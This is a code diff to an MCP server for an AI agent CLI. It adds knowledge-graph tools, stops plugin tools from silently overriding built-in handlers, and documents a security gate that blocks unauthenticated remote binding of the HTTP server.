  import { guidanceTools } from './mcp-tools/guidance-tools.js';
41
41
  import { autopilotTools } from './mcp-tools/autopilot-tools.js';
42
- // Knowledge graph tools (graphify)
42
+ // Knowledge graph tools (graphify — deprecated shims + monograph native)
43
43
  import { graphifyTools } from './mcp-tools/graphify-tools.js';
44
+ import { monographTools } from './mcp-tools/monograph-tools.js';
44
45
  // Coverage-aware routing tools
45
46
  import { coverageRouterTools } from './ruvector/coverage-tools.js';
46
47
  // A2A Agent Card protocol (source: https://a2a-protocol.org)
@@ -50,11 +51,17 @@ import { a2aTools } from './mcp-tools/a2a-tools.js';
50
51
  * Maps tool names to their handler functions
51
52
  */
52
53
  const TOOL_REGISTRY = new Map();
53
- // Register all tools
54
- function registerTools(tools) {
55
- tools.forEach(tool => {
54
+ // Register all tools — refuse silent overrides so a future plugin/IPFS-loaded
55
+ // tool cannot shadow a built-in handler (e.g. `agent_spawn`, `memory_store`)
56
+ // without an explicit override flag. Logical-name collision is a real concern
57
+ // when the plugin system goes live.
58
+ function registerTools(tools, options = {}) {
59
+ for (const tool of tools) {
60
+ if (TOOL_REGISTRY.has(tool.name) && !options.override) {
61
+ throw new Error(`Tool name collision: ${tool.name} already registered`);
62
+ }
56
63
  TOOL_REGISTRY.set(tool.name, tool);
57
- });
64
+ }
58
65
  }
59
66
  // Initialize registry with all available tools
60
67
  registerTools([
@@ -91,7 +98,9 @@ registerTools([
91
98
  ...guidanceTools,
92
99
  // Autopilot persistent completion tools
93
100
  ...autopilotTools,
94
- // Knowledge graph (graphify) tools build, query, report, suggest, health
101
+ // Knowledge graph native monograph tools (replaces Python graphify)
102
+ ...monographTools,
103
+ // Graphify deprecated shims — proxy to monograph_* tools
95
104
  ...graphifyTools,
96
105
  // Coverage-aware routing tools
97
106
  ...coverageRouterTools,
@@ -13,7 +13,7 @@
13
13
  * - Health check: <10ms
14
14
  * - Graceful shutdown: <5s
15
15
  *
16
- * @module @monoes/cli/mcp-server
16
+ * @module @monomind/cli/mcp-server
17
17
  * @version 3.0.0
18
18
  */
19
19
  import { EventEmitter } from 'events';
@@ -58,6 +58,7 @@ export declare class MCPServerManager extends EventEmitter {
58
58
  private process?;
59
59
  private server?;
60
60
  private startTime?;
61
+ private _stdioServerStarted;
61
62
  private healthCheckInterval?;
62
63
  constructor(options?: MCPServerOptions);
63
64
  /**
@@ -94,7 +95,13 @@ export declare class MCPServerManager extends EventEmitter {
94
95
  */
95
96
  private handleMCPMessage;
96
97
  /**
97
- * Start HTTP server in-process
98
+ * Start HTTP server in-process.
99
+ *
100
+ * SECURITY: refuses to bind to non-loopback hosts unless the operator opts
101
+ * in via MONOMIND_MCP_ALLOW_REMOTE=1 AND provides a bearer token via
102
+ * MONOMIND_MCP_TOKEN. Without this gate, `--host 0.0.0.0` exposed every
103
+ * registered tool (including agent_spawn, terminal-tools, system tools) to
104
+ * any LAN attacker as unauthenticated RCE.
98
105
  */
99
106
  private startHttpServer;
100
107
  /**